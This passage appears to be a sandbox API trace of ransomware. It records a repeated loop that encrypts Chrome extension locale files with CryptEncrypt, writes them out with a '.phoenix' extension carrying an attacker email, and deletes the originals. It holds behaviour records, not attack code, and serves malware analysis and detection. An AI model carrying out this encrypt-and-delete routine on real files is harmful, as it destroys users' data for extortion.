	[0263.454] CryptEncrypt (in: hKey=0x151540, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0263.454] CryptDestroyKey (hKey=0x151540) returned 1
	[0263.454] WriteFile (in: hFile=0x2b0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0263.455] CryptDestroyKey (hKey=0x151040) returned 1
	[0263.455] CloseHandle (hObject=0x2c4) returned 1
	[0263.455] CloseHandle (hObject=0x2b0) returned 1
	[0263.455] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\it\\messages.json")) returned 1
	[0263.491] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0263.491] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0263.492] GetFileSizeEx (in: hFile=0x2b0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=271) returned 1
	[0263.492] CloseHandle (hObject=0x2b0) returned 1
	[0263.492] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json")) returned 0x20
	[0263.492] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.492] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b0
	[0263.492] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.492] SetFilePointerEx (in: hFile=0x2b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.493] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c4
	[0263.493] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151140) returned 1
	[0263.493] CryptSetKeyParam (hKey=0x151140, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.493] ReadFile (in: hFile=0x2b0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0x10f, lpOverlapped=0x0) returned 1
	[0263.494] CryptEncrypt (in: hKey=0x151140, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110, dwBufLen=0x110 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x110) returned 1
	[0263.494] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x110, lpOverlapped=0x0) returned 1
	[0263.495] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151700) returned 1
	[0263.495] CryptSetKeyParam (hKey=0x151700, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.495] CryptEncrypt (in: hKey=0x151700, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0263.495] CryptDestroyKey (hKey=0x151700) returned 1
	[0263.495] WriteFile (in: hFile=0x2c4, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0263.501] CryptDestroyKey (hKey=0x151140) returned 1
	[0263.501] CloseHandle (hObject=0x2b0) returned 1
	[0263.501] CloseHandle (hObject=0x2c4) returned 1
	[0263.502] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\ja\\messages.json")) returned 1
	[0263.502] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0263.502] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0263.508] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=253) returned 1
	[0263.508] CloseHandle (hObject=0x2c0) returned 1
	[0263.508] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json")) returned 0x20
	[0263.508] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.508] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0263.508] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.509] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.509] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0263.509] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151100) returned 1
	[0263.509] CryptSetKeyParam (hKey=0x151100, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.509] ReadFile (in: hFile=0x2c0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xfd, lpOverlapped=0x0) returned 1
	[0263.510] CryptEncrypt (in: hKey=0x151100, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x100, dwBufLen=0x100 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x100) returned 1
	[0263.510] WriteFile (in: hFile=0x308, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0x100, lpOverlapped=0x0) returned 1
	[0263.511] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x1517c0) returned 1
	[0263.511] CryptSetKeyParam (hKey=0x1517c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.511] CryptEncrypt (in: hKey=0x1517c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0263.511] CryptDestroyKey (hKey=0x1517c0) returned 1
	[0263.511] WriteFile (in: hFile=0x308, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0263.511] CryptDestroyKey (hKey=0x151100) returned 1
	[0263.511] CloseHandle (hObject=0x2c0) returned 1
	[0263.511] CloseHandle (hObject=0x308) returned 1
	[0263.511] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lt\\messages.json")) returned 1
	[0263.512] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0263.512] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0263.513] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=238) returned 1
	[0263.513] CloseHandle (hObject=0x308) returned 1
	[0263.513] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json")) returned 0x20
	[0263.513] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.513] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0263.513] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.513] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.513] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0263.514] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x151640) returned 1
	[0263.514] CryptSetKeyParam (hKey=0x151640, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.514] ReadFile (in: hFile=0x308, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xee, lpOverlapped=0x0) returned 1
	[0263.515] CryptEncrypt (in: hKey=0x151640, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xf0, dwBufLen=0xf0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xf0) returned 1
	[0263.515] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf0, lpOverlapped=0x0) returned 1
	[0263.515] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151440) returned 1
	[0263.515] CryptSetKeyParam (hKey=0x151440, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.515] CryptEncrypt (in: hKey=0x151440, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0263.516] CryptDestroyKey (hKey=0x151440) returned 1
	[0263.516] WriteFile (in: hFile=0x2c0, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0263.516] CryptDestroyKey (hKey=0x151640) returned 1
	[0263.516] CloseHandle (hObject=0x308) returned 1
	[0263.516] CloseHandle (hObject=0x2c0) returned 1
	[0263.516] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\lv\\messages.json")) returned 1
	[0263.517] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0263.517] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0263.517] GetFileSizeEx (in: hFile=0x2c0, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=232) returned 1
	[0263.517] CloseHandle (hObject=0x2c0) returned 1
	[0263.517] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json")) returned 0x20
	[0263.517] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
	[0263.518] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0
	[0263.518] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.518] SetFilePointerEx (in: hFile=0x2c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f4fe18 | out: lpNewFilePointer=0x0) returned 1
	[0263.518] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0263.518] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdd0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe2c | out: phKey=0x2f4fe2c*=0x1510c0) returned 1
	[0263.518] CryptSetKeyParam (hKey=0x1510c0, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.518] ReadFile (in: hFile=0x2c0, lpBuffer=0x31b3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2f4fe54, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesRead=0x2f4fe54*=0xe8, lpOverlapped=0x0) returned 1
	[0263.520] CryptEncrypt (in: hKey=0x1510c0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xf0, dwBufLen=0xf0 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0xf0) returned 1
	[0263.520] WriteFile (in: hFile=0x308, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf0, lpOverlapped=0x0) returned 1
	[0263.520] CryptImportKey (in: hProv=0x1267b0, pbData=0x2f4fdc4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f4fe30 | out: phKey=0x2f4fe30*=0x151340) returned 1
	[0263.520] CryptSetKeyParam (hKey=0x151340, dwParam=0x1, pbData=0x2f4fed8, dwFlags=0x0) returned 1
	[0263.520] CryptEncrypt (in: hKey=0x151340, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40, dwBufLen=0x40 | out: pbData=0x31b3020*, pdwDataLen=0x2f4fdf0*=0x40) returned 1
	[0263.521] CryptDestroyKey (hKey=0x151340) returned 1
	[0263.521] WriteFile (in: hFile=0x308, lpBuffer=0x31b3020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2f4fe38, lpOverlapped=0x0 | out: lpBuffer=0x31b3020*, lpNumberOfBytesWritten=0x2f4fe38*=0xf2, lpOverlapped=0x0) returned 1
	[0263.521] CryptDestroyKey (hKey=0x1510c0) returned 1
	[0263.521] CloseHandle (hObject=0x2c0) returned 1
	[0263.521] CloseHandle (hObject=0x308) returned 1
	[0263.521] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\nl\\messages.json")) returned 1
	[0263.522] CryptGenRandom (in: hProv=0x1267b0, dwLen=0x10, pbBuffer=0x2f4fed8 | out: pbBuffer=0x2f4fed8) returned 1
	[0263.522] CreateFileW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308
	[0263.522] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x2f4fe78 | out: lpFileSize=0x2f4fe78*=210) returned 1
	[0263.522] CloseHandle (hObject=0x308) returned 1
	[0263.522] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json")) returned 0x20
	[0263.523] GetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\FD1HVy\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json.id[B4197730-0001].[costelloh@aol.com].phoenix" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pjkljhegncpnkpknbcohdijeoejaedia\\8.1_0\\_locales\\no\\messages.json.id[b4197730-0001].[costelloh@aol.com].phoenix")) returned 0xffffffff
